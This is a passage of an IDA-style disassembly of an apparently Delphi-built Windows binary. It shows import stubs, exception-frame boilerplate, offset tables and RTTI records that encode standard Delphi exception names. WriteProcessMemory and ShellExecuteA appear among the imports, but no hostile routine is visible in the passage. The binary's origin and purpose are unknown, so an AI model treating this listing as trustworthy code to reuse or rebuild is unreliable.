COLLAPSED FUNCTION WaitForSingleObject. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION WriteFile_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION WriteProcessMemory. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION CharNextA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION CharToOemA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetSystemMetrics. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LoadStringA_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA_0. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= sub_20005E88 proc near ; CODE XREF: sub_20012F40+B9p ; sub_20012F40+131p xchg eax, edx call sub_200027FC retn sub_20005E88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20005E90 proc near ; CODE XREF: sub_20012F40+18Cp ; sub_20012F40+1A7p xor ecx, ecx call sub_20002E38 retn sub_20005E90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20005E98 proc near ; DATA XREF: CODE:200132D0o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005EBD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015670 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005EC4 loc_20005EBC: ; CODE XREF: sub_20005E98+2Aj retn ; --------------------------------------------------------------------------- loc_20005EBD: ; DATA XREF: sub_20005E98+6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005EBC ; --------------------------------------------------------------------------- loc_20005EC4: ; CODE XREF: sub_20005E98:loc_20005EBCj ; DATA XREF: sub_20005E98+1Fo pop ebp retn sub_20005E98 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20005EC8 proc near ; DATA XREF: CODE:200132CCo sub ds:dword_20015670, 1 retn sub_20005EC8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005EF5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015674 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005EFC loc_20005EF4: ; CODE XREF: CODE:20005EFAj retn ; --------------------------------------------------------------------------- loc_20005EF5: ; DATA XREF: CODE:20005ED6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005EF4 ; --------------------------------------------------------------------------- loc_20005EFC: ; CODE XREF: CODE:loc_20005EF4j ; DATA XREF: CODE:20005EEFo pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20005F00 proc near ; DATA XREF: CODE:200132D4o sub ds:dword_20015674, 1 retn sub_20005F00 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005F2D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015678 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005F34 loc_20005F2C: ; CODE XREF: CODE:20005F32j retn ; --------------------------------------------------------------------------- loc_20005F2D: ; DATA XREF: CODE:20005F0Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005F2C ; --------------------------------------------------------------------------- loc_20005F34: ; CODE XREF: CODE:loc_20005F2Cj ; DATA XREF: CODE:20005F27o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_20015678, 1 retn ; [00000006 BYTES: COLLAPSED FUNCTION ShellExecuteA. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005F6D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_2001567C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005F74 loc_20005F6C: ; CODE XREF: CODE:20005F72j retn ; --------------------------------------------------------------------------- loc_20005F6D: ; DATA XREF: CODE:20005F4Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005F6C ; --------------------------------------------------------------------------- loc_20005F74: ; CODE XREF: CODE:loc_20005F6Cj ; DATA XREF: CODE:20005F67o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_2001567C, 1 retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005FA5 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015680 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005FAC loc_20005FA4: ; CODE XREF: CODE:20005FAAj retn ; --------------------------------------------------------------------------- loc_20005FA5: ; DATA XREF: CODE:20005F86o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005FA4 ; --------------------------------------------------------------------------- loc_20005FAC: ; CODE XREF: CODE:loc_20005FA4j ; DATA XREF: CODE:20005F9Fo pop ebp retn ; --------------------------------------------------------------------------- align 10h sub ds:dword_20015680, 1 retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20005FDD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015684 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20005FE4 loc_20005FDC: ; CODE XREF: CODE:20005FE2j retn ; --------------------------------------------------------------------------- loc_20005FDD: ; DATA XREF: CODE:20005FBEo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20005FDC ; --------------------------------------------------------------------------- loc_20005FE4: ; CODE XREF: CODE:loc_20005FDCj ; DATA XREF: CODE:20005FD7o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_20015684, 1 retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_20006035 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015688 jnz short loc_20006027 cmp ds:dword_2001568C, 0 jz short loc_2000601D mov eax, ds:dword_2001568C push eax call FreeLibrary_0 loc_2000601D: ; CODE XREF: CODE:20006010j mov eax, offset dword_200140D8 call sub_20003FA8 loc_20006027: ; CODE XREF: CODE:20006007j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_2000603C loc_20006034: ; CODE XREF: CODE:2000603Aj retn ; --------------------------------------------------------------------------- loc_20006035: ; DATA XREF: CODE:20005FF6o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20006034 ; --------------------------------------------------------------------------- loc_2000603C: ; CODE XREF: CODE:loc_20006034j ; DATA XREF: CODE:2000602Fo pop ebp retn ; --------------------------------------------------------------------------- align 10h sub ds:dword_20015688, 1 retn ; --------------------------------------------------------------------------- off_20006048 dd offset dword_20015660 ; DATA XREF: DATA:off_2001442Co dd 0FFF0h off_20006050 dd offset dword_20015660 ; DATA XREF: DATA:off_20014424o dd 0FFF1h off_20006058 dd offset dword_20015660 ; DATA XREF: DATA:off_20014478o dd 0FFF2h off_20006060 dd offset dword_20015660 ; DATA XREF: DATA:off_20014560o dd 0FFF3h off_20006068 dd offset dword_20015660 ; DATA XREF: DATA:off_200143D4o dd 0FFF4h off_20006070 dd offset dword_20015660 ; DATA XREF: DATA:off_20014518o dd 0FFF5h off_20006078 dd offset dword_20015660 ; DATA XREF: DATA:off_200144D0o dd 0FFF6h off_20006080 dd offset dword_20015660 ; DATA XREF: DATA:off_20014410o dd 0FFF7h off_20006088 dd offset dword_20015660 ; DATA XREF: DATA:off_20014434o dd 0FFF8h off_20006090 dd offset dword_20015660 ; DATA XREF: DATA:off_20014570o dd 0FFF9h dd offset dword_20015660 ; DATA XREF: DATA:off_20014568o dd 0FFFAh off_200060A0 dd offset dword_20015660 ; DATA XREF: DATA:off_2001447Co dd 0FFFBh off_200060A8 dd offset dword_20015660 ; DATA XREF: DATA:off_20014580o dd 0FFFCh off_200060B0 dd offset dword_20015660 ; DATA XREF: DATA:off_2001459Co dd 0FFFDh off_200060B8 dd offset dword_20015660 ; DATA XREF: DATA:off_200144D4o dd 0FFFEh off_200060C0 dd offset dword_20015660 ; DATA XREF: DATA:off_200144E8o dd 0FFFFh off_200060C8 dd offset dword_20015660 ; DATA XREF: DATA:off_200144E0o dd 0FFE0h off_200060D0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014594o dd 0FFE1h off_200060D8 dd offset dword_20015660 ; DATA XREF: DATA:off_20014508o dd 0FFE2h off_200060E0 dd offset dword_20015660 ; DATA XREF: DATA:off_2001446Co dd 0FFE3h off_200060E8 dd offset dword_20015660 ; DATA XREF: DATA:off_20014468o dd 0FFE4h off_200060F0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014470o dd 0FFE5h off_200060F8 dd offset dword_20015660 ; DATA XREF: DATA:off_20014564o dd 0FFE6h off_20006100 dd offset dword_20015660 ; DATA XREF: DATA:off_20014590o dd 0FFE7h off_20006108 dd offset dword_20015660 ; DATA XREF: DATA:off_20014428o dd 0FFE8h off_20006110 dd offset dword_20015660 ; DATA XREF: DATA:off_2001417Co ; DATA:off_20014438o dd 0FFE9h off_20006118 dd offset dword_20015660 ; DATA XREF: DATA:off_20014180o ; DATA:off_20014480o dd 0FFEAh off_20006120 dd offset dword_20015660 ; DATA XREF: DATA:off_200143C8o ; --------------------------------------------------------------------------- jmp short near ptr loc_20006124+1 ; CODE XREF: CODE:loc_20006124j ; --------------------------------------------------------------------------- align 4 off_20006128 dd offset dword_20015660 ; DATA XREF: DATA:off_200145A4o dd 0FFECh off_20006130 dd offset dword_20015660 ; DATA XREF: DATA:off_20014504o dd 0FFEDh off_20006138 dd offset dword_20015660 ; DATA XREF: DATA:off_20014484o dd 0FFEEh off_20006140 dd offset dword_20015660 ; DATA XREF: DATA:off_20014530o dd 0FFEFh off_20006148 dd offset dword_20015660 ; DATA XREF: DATA:off_20014598o dd 0FFD0h off_20006150 dd offset dword_20015660 ; DATA XREF: DATA:off_200144BCo dd 0FFD1h off_20006158 dd offset dword_20015660 ; DATA XREF: DATA:off_200144A4o dd 0FFD2h off_20006160 dd offset dword_20015660 ; DATA XREF: DATA:off_20014488o dd 0FFD3h off_20006168 dd offset dword_20015660 ; DATA XREF: DATA:off_200143D0o dd 0FFD4h off_20006170 dd offset dword_20015660 ; DATA XREF: DATA:off_200144FCo dd 0FFD5h off_20006178 dd offset dword_20015660 ; DATA XREF: DATA:off_20014408o dd 0FFD6h dd offset dword_20015660 ; DATA XREF: DATA:off_20014440o dd 0FFD7h dd offset dword_20015660 ; DATA XREF: DATA:off_2001456Co dd 0FFD8h off_20006190 dd offset dword_20015660 ; DATA XREF: DATA:off_200144D8o dd 0FFD9h off_20006198 dd offset dword_20015660 ; DATA XREF: DATA:off_20014404o dd 0FFDAh off_200061A0 dd offset dword_20015660 ; DATA XREF: DATA:off_200143ECo dd 0FFDBh off_200061A8 dd offset dword_20015660 ; DATA XREF: DATA:off_2001451Co dd 0FFDCh off_200061B0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014498o dd 0FFDDh off_200061B8 dd offset dword_20015660 ; DATA XREF: DATA:off_200144F8o dd 0FFDEh off_200061C0 dd offset dword_20015660 ; DATA XREF: DATA:off_2001454Co dd 0FFDFh off_200061C8 dd offset dword_20015660 ; DATA XREF: DATA:off_2001443Co ; --------------------------------------------------------------------------- sar bh, 0 add [eax+56h], ah ; DATA XREF: DATA:off_2001453Co add [eax], esp sar edi, 0 add [eax+56h], ah ; DATA XREF: DATA:off_20014514o add [eax], esp retn 0FFh ; --------------------------------------------------------------------------- align 10h off_200061E0 dd offset dword_20015660 ; DATA XREF: DATA:off_2001457Co ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_200061E8 dd offset dword_20015660 ; DATA XREF: DATA:off_200141A4o ; DATA:off_20014588o dd 0FFC4h off_200061F0 dd offset dword_20015660 ; DATA XREF: DATA:off_200141A8o ; DATA:off_200144C0o dd 0FFC5h off_200061F8 dd offset dword_20015660 ; DATA XREF: DATA:off_200141ACo ; DATA:off_20014558o dd 0FFC6h off_20006200 dd offset dword_20015660 ; DATA XREF: DATA:off_200141B0o ; DATA:off_200143C4o dd 0FFC7h off_20006208 dd offset dword_20015660 ; DATA XREF: DATA:off_200141B4o ; DATA:off_20014400o dd 0FFC8h off_20006210 dd offset dword_20015660 ; DATA XREF: DATA:off_200141B8o ; DATA:off_200145A8o ; --------------------------------------------------------------------------- leave inc dword ptr [eax] loc_20006217: ; DATA XREF: DATA:off_200141BCo ; DATA:off_20014548o add [eax+56h], ah add [eax], esp retf 0FFh ; --------------------------------------------------------------------------- align 10h off_20006220 dd offset dword_20015660 ; DATA XREF: DATA:off_200141C0o ; DATA:off_200143E4o ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0FFh, 2 dup(0) off_20006228 dd offset dword_20015660 ; DATA XREF: DATA:off_200141C4o ; DATA:off_20014430o db 0CCh db 0FFh, 2 dup(0) off_20006230 dd offset dword_20015660 ; DATA XREF: DATA:off_200141C8o ; DATA:off_200144C4o dd 0FFCDh off_20006238 dd offset dword_20015660 ; DATA XREF: DATA:off_200141CCo ; DATA:off_20014550o dd 0FFCEh off_20006240 dd offset dword_20015660 ; DATA XREF: DATA:off_200141D0o ; DATA:off_20014574o dd 0FFCFh off_20006248 dd offset dword_20015660 ; DATA XREF: DATA:off_200141D4o ; DATA:off_2001448Co dd 0FFB0h off_20006250 dd offset dword_20015660 ; DATA XREF: DATA:off_200141D8o ; DATA:off_200143D8o dd 0FFB1h off_20006258 dd offset dword_20015660 ; DATA XREF: DATA:off_200141DCo ; DATA:off_20014458o dd 0FFB2h off_20006260 dd offset dword_20015660 ; DATA XREF: DATA:off_200141E0o ; DATA:off_200144A8o dd 0FFB3h off_20006268 dd offset dword_20015660 ; DATA XREF: DATA:off_200141E4o ; DATA:off_200144DCo dd 0FFB4h off_20006270 dd offset dword_20015660 ; DATA XREF: DATA:off_200141E8o ; DATA:off_200144A0o dd 0FFB5h off_20006278 dd offset dword_20015660 ; DATA XREF: DATA:off_200141ECo ; DATA:off_20014448o dd 0FFB6h off_20006280 dd offset dword_20015660 ; DATA XREF: DATA:off_200141F0o ; DATA:off_200144ACo dd 0FFB7h off_20006288 dd offset dword_20015660 ; DATA XREF: DATA:off_200141F4o ; DATA:off_20014520o dd 0FFB8h off_20006290 dd offset dword_20015660 ; DATA XREF: DATA:off_200141F8o ; DATA:off_200143DCo dd 0FFB9h off_20006298 dd offset dword_20015660 ; DATA XREF: DATA:off_200141FCo ; DATA:off_20014450o dd 0FFBAh off_200062A0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014200o ; DATA:off_20014464o dd 0FFBBh off_200062A8 dd offset dword_20015660 ; DATA XREF: DATA:off_20014204o ; DATA:off_200144F0o dd 0FFBCh off_200062B0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014208o ; DATA:off_20014524o dd 0FFBDh off_200062B8 dd offset dword_20015660 ; DATA XREF: DATA:off_2001420Co ; DATA:off_2001452Co dd 0FFBEh off_200062C0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014210o ; DATA:off_200144C8o dd 0FFBFh off_200062C8 dd offset dword_20015660 ; DATA XREF: DATA:off_20014214o ; DATA:off_20014418o dd 0FFA0h off_200062D0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014218o ; DATA:off_200144E4o dd 0FFA1h off_200062D8 dd offset dword_20015660 ; DATA XREF: DATA:off_2001421Co ; DATA:off_20014474o dd 0FFA2h off_200062E0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014220o ; DATA:off_200143FCo dd 0FFA3h off_200062E8 dd offset dword_20015660 ; DATA XREF: DATA:off_20014224o ; DATA:off_20014414o dd 0FFA4h off_200062F0 dd offset dword_20015660 ; DATA XREF: DATA:off_20014228o ; DATA:off_2001441Co dd 0FFA5h off_200062F8 dd offset dword_20015660 ; DATA XREF: DATA:off_2001422Co ; DATA:off_200143E0o dd 0FFA6h off_20006300 dd offset dword_20015660 ; DATA XREF: DATA:off_20014230o ; DATA:off_20014510o dd 0FFA7h off_20006308 dd offset dword_20015660 ; DATA XREF: DATA:off_20014234o ; DATA:off_200143F4o dd 0FFA8h off_20006310 dd offset dword_20015660 ; DATA XREF: DATA:off_20014238o ; DATA:off_20014554o dd 0FFA9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp xor eax, eax push ebp push offset loc_2000633D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_20015690 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20006344 loc_2000633C: ; CODE XREF: CODE:20006342j retn ; --------------------------------------------------------------------------- loc_2000633D: ; DATA XREF: CODE:2000631Eo jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_2000633C ; --------------------------------------------------------------------------- loc_20006344: ; CODE XREF: CODE:loc_2000633Cj ; DATA XREF: CODE:20006337o pop ebp retn ; --------------------------------------------------------------------------- align 4 sub ds:dword_20015690, 1 retn ; --------------------------------------------------------------------------- off_20006350 dd offset dword_2000639C ; DATA XREF: CODE:200063E0o ; CODE:20006498o ... dd 2 dup(0) dd offset dword_2000639C dd 4 dup(0) dd offset word_200063AE dd 0Ch dd offset off_2000100C dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000639C dd 0Eh, 10000h ; DATA XREF: CODE:off_20006350o ; CODE:2000635Co db 2 dup(0) dd offset off_20001000 dw 4 db 2 dup(0) word_200063AE dw 4509h ; DATA XREF: CODE:20006370o dd 70656378h, 6E6F6974h off_200063B8 dd offset dword_20006404 ; DATA XREF: CODE:2000643Co ; CODE:200068C4o dd 7 dup(0) dd offset dword_20006404 dd 10h dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_2000A670 dd offset sub_200034E4 dword_20006404 dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_200063B8o ; CODE:200063D8o off_20006414 dd offset dword_20006460 ; DATA XREF: sub_2000ABA0+8r dd 7 dup(0) dd offset dword_20006460 dd 10h dd offset off_200063B8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_2000A670 dd offset sub_200034E4 dword_20006460 dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:off_20006414o ; CODE:20006434o off_20006470 dd offset dword_200064BC ; DATA XREF: sub_2000A69C+2Dr ; sub_2000A69C+4Cr dd 7 dup(0) dd offset dword_200064BC dd 10h dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_200064BC dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF: CODE:off_20006470o ; CODE:20006490o off_200064C8 dd offset dword_20006514 ; DATA XREF: CODE:20006548o ; CODE:200065A8o ... dd 7 dup(0) dd offset dword_20006514 dd 10h dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006514 dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:off_200064C8o ; CODE:200064E8o off_20006520 dd offset dword_2000656C ; DATA XREF: sub_2000AAC4+82r dd 7 dup(0) dd offset dword_2000656C dd 10h dd offset off_200064C8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000656C dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h ; DATA XREF: CODE:off_20006520o ; CODE:20006540o ... off_20006580 dd offset dword_200065CC ; DATA XREF: CODE:20006600o ; CODE:20006658o ... dd 7 dup(0) dd offset dword_200065CC dd 10h dd offset off_200064C8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_200065CC dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_20006580o ; CODE:200065A0o dd offset dword_20006624 dd 7 dup(0) dd offset dword_20006624 dd 10h dd offset off_20006580 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006624 dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF: CODE:200065D8o ; CODE:200065F8o ... off_20006630 dd offset dword_2000667C ; DATA XREF: sub_20011824+33r ; sub_20011948+3Ar dd 7 dup(0) dd offset dword_2000667C dd 10h dd offset off_20006580 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_2000667C dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF: CODE:off_20006630o ; CODE:20006650o ... dd offset dword_200066D4 dd 7 dup(0) dd offset dword_200066D4 dd 10h dd offset off_20006580 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_200066D4 dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:20006688o ; CODE:200066A8o ... off_200066E4 dd offset dword_20006730 ; DATA XREF: CODE:20006764o ; CODE:200067BCo ... dd 7 dup(0) dd offset dword_20006730 dd 10h dd offset off_200064C8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006730 dd 614D450Ah, 72456874h, 90726F72h ; DATA XREF: CODE:off_200066E4o ; CODE:20006704o dd offset dword_20006788 dd 7 dup(0) dd offset dword_20006788 dd 10h dd offset off_200066E4 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006788 dd 6E49450Ah, 696C6176h, 90704F64h ; DATA XREF: CODE:2000673Co ; CODE:2000675Co ... dd offset dword_200067E0 dd 7 dup(0) dd offset dword_200067E0 dd 10h dd offset off_200066E4 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_200067E0 dd 655A450Bh, 69446F72h, 65646976h ; DATA XREF: CODE:20006794o ; CODE:200067B4o ... dd offset dword_20006838 dd 7 dup(0) dd offset dword_20006838 dd 10h dd offset off_200066E4 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006838 dd 764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:200067ECo ; CODE:2000680Co ... dd offset dword_20006890 dd 7 dup(0) dd offset dword_20006890 dd 10h dd offset off_200066E4 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006890 dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF: CODE:20006844o ; CODE:20006864o ... off_2000689C dd offset dword_200068E8 ; DATA XREF: sub_2000ABA0+1Fr dd 7 dup(0) dd offset dword_200068E8 dd 10h dd offset off_200063B8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_2000A670 dd offset sub_200034E4 dword_200068E8 dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh ; DATA XREF: CODE:off_2000689Co ; CODE:200068BCo dd offset dword_20006944 dd 7 dup(0) dd offset dword_20006944 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006944 dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:200068F8o ; CODE:20006918o ... off_20006954 dd offset dword_200069A0 ; DATA XREF: sub_20006F08+Fr ; sub_2001028C+91r dd 7 dup(0) dd offset dword_200069A0 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_200069A0 dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_20006954o ; CODE:20006974o off_200069B0 dd offset dword_200069FC ; DATA XREF: sub_2000A8F8+122r ; sub_2000A8F8+17Er dd 7 dup(0) dd offset dword_200069FC dd 10h dd offset off_200064C8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_200069FC dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh ; DATA XREF: CODE:off_200069B0o ; CODE:200069D0o ... dd offset dword_20006A5C dd 7 dup(0) dd offset dword_20006A5C dd 10h dd offset off_200064C8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006A5C dd 7250450Ah, 6C697669h, 90656765h ; DATA XREF: CODE:20006A10o ; CODE:20006A30o ... dd offset dword_20006AB4 dd 7 dup(0) dd offset dword_20006AB4 dd 10h dd offset off_200064C8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006AB4 dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ; DATA XREF: CODE:20006A68o ; CODE:20006A88o ... dd offset dword_20006B10 dd 7 dup(0) dd offset dword_20006B10 dd 10h dd offset off_200064C8 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006B10 dd 6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:20006AC4o ; CODE:20006AE4o ... off_20006B1C dd offset dword_20006B68 ; DATA XREF: CODE:2000CABCo ; CODE:2000CB20o ... dd 7 dup(0) dd offset dword_20006B68 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006B68 dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_20006B1Co ; CODE:20006B3Co ... off_20006B78 dd offset dword_20006BC4 ; DATA XREF: sub_2000A770+72r dd 7 dup(0) dd offset dword_20006BC4 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006BC4 dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h ; DATA XREF: CODE:off_20006B78o ; CODE:20006B98o ... off_20006BD8 dd offset dword_20006C24 ; DATA XREF: CODE:2000A850r dd 7 dup(0) dd offset dword_20006C24 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006C24 dd 6241450Eh, 61727473h, 72457463h, 90726F72h ; DATA XREF: CODE:off_20006BD8o ; CODE:20006BF8o dd offset dword_20006C80 dd 7 dup(0) dd offset dword_20006C80 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006C80 dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ; DATA XREF: CODE:20006C34o ; CODE:20006C54o ... off_20006C90 dd offset dword_20006CDC ; DATA XREF: sub_2000B75C+4Er ; sub_2000B75C+64r dd 7 dup(0) dd offset dword_20006CDC dd 10h dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset nullsub_3 dd offset sub_2000348C dd offset sub_200034A8 dd offset sub_200034E4 dword_20006CDC dd 534F4508h, 6F727245h, 408D72h ; DATA XREF: CODE:off_20006C90o ; CODE:20006CB0o dd offset dword_20006D34 dd 7 dup(0) dd offset dword_20006D34 dd 0Ch dd offset off_20006350 dd offset sub_20003700 dd offset nullsub_1 dd offset nullsub_2 dd offset sub_20003714 dd offset 